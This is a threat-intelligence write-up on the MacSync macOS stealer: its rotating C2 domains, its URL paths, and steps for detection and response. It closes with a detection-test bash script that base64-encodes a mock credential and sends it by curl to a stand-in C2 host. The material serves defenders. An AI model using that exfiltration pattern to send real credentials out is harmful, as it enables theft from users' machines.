MacSync Stealer Uses Rotating C2 Infrastructure

Summary

MacSync Stealer is a macOS information-stealing malware offered through a malware-as-a-service model. It relies on a multi-stage zsh loader that reaches out to a rotating pool of command-and-control domains to exfiltrate stolen information, including passwords and cryptocurrency wallet credentials. The loader transmits clear-text passwords through a query-string parameter and uploads a ZIP archive of collected data in 10 MiB chunks. Its infrastructure rotation strategy depends on a static API key reused across several domains together with a per-build hexadecimal token.

Investigation

RST Cloud detected a download attempt from the newly registered domain jacksonvillemma.com and captured the Stage 2 zsh loader within an hour. Static analysis exposed the loader’s token, API key, and command-and-control path trio: /curl, /dynamic, and /gate. Additional pivoting based on those URI patterns revealed a cluster of roughly twelve suspected command-and-control domains active between February and May 2026. Four of those domains were confirmed to share the same API key, while the others were linked through matching URI behavior alone.

Mitigation

Defenders should block all known MacSync command-and-control domains and monitor for the distinct URL path patterns used by the malware. Proxy and DNS logs should be reviewed for requests containing /curl, /dynamic, and /gate, as well as for the shortened Chrome-like macOS user-agent string tied to the loader. Security teams should also detect creation of /tmp/osalogging.zip and watch for zsh processes that execute base64 -D, gunzip, and eval in combination.

Response

If a matching indicator is found, isolate the affected endpoint immediately, terminate the malicious zsh process, and collect memory for analysis of any AppleScript payloads. Reset exposed user passwords and invalidate compromised credentials stored in the macOS keychain. Detection logic should also be updated with the observed token, API key, and user-agent patterns to reduce the risk of future compromise.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An adversary has deployed the MacSync stealer binary onto a compromised macOS workstation. The stealer extracts the current user’s macOS keychain password, base64‑encodes it, and exfiltrates it via an HTTP GET request through the corporate proxy. The request targets the known C2 endpoint https://malicious.c2.net/dynamic?txd=<payload>. Because the proxy logs full URLs, the detection rule will see the dynamic?txd= substring and raise an alert.

• Regression Test Script:

    #!/bin/bash
    # macsync_stealer_simulation.sh
    # Simulates MacSync stealer C2 communication to trigger the detection rule.
  
    PROXY="http://proxy.corp.local:3128"
    C2_BASE="https://malicious.c2.net/dynamic?txd="
  
    # 1️⃣ Extract a mock password (for demo purposes use the current user name)
    PASSWORD="$(whoami):P@ssw0rd!"
  
    # 2️⃣ Encode the credential in base64 (emulates MacSync's encoding step)
    ENCODED=$(printf "%s" "$PASSWORD" | base64)
  
    # 3️⃣ Construct the full malicious URL
    MALICIOUS_URL="${C2_BASE}${ENCODED}"
  
    # 4️⃣ Send the request via the corporate proxy
    curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15"
  
    echo "Simulation executed – payload sent to $MALICIOUS_URL"

• Cleanup Commands:

    # Remove any temporary files (none created) and optionally purge proxy cache
    echo "Cleaning up simulation artifacts..."
    # If using Squid, purge the URL from the cache to avoid repeated hits
    sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"